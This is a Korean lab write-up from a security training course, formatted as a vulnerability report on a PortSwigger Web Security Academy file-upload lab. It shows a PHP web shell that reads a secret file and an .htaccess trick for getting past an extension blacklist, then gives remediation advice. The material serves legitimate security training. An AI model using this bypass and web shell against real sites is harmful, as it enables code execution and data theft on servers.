[SK쉴더스 Rookies 19기] 클라우드 기반 스마트 융합보안 과정
Lab: Web shell upload via extension blacklist bypass | Web Security Academy
This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in ...
portswigger.net
가. 문제점
[CASE 8] File Upload
Web Security Academy 서비스 내 일부 페이지에서 업로드 파일 값에 대한 필터링 검증이 부재하여 Avatar 기능 이용/사용 시 악성 스크립트 삽입 및 실행이 가능하며 이로 인해 타사용자의 인증정보 획득 및 악성 코드 유포 가능성이 존재합니다.
<?php
echo file_get_contents('/home/carlos/secret');
?>
exploit.php 작성
<?php
echo file_get_contents('/home/carlos/secret');
?>
기존 스크립트를 exploit.abcde 확장자로 저장해준다.
AddType application/x-httpd-php .abcde
.htaccess 파일을 작성하여 abcde 확장자라면 php 스크립트를 실행하도록 작성한다.
나. 관련 URL
번호 | 경로 | URL |
1 | Login > My account | /my-account/avatar |
2 | /files/avatars |
다. 해결 방안
업로드하는 파일 타입과 크기를 제한하고 업로드 디렉터리를 웹서버의 document 외부에 설정해야 합니다. 화이트리스트 방식으로 허용된 확장자만 업로드 되도록 하고, 확장자도 대소문자 구분 없이 검증할 수 있게 구성해야 합니다. 업로드되는 파일 경로 및 파일명에는 “../”, ”;”, ”%0” 등과 같은 특수문자도 제한해야 합니다.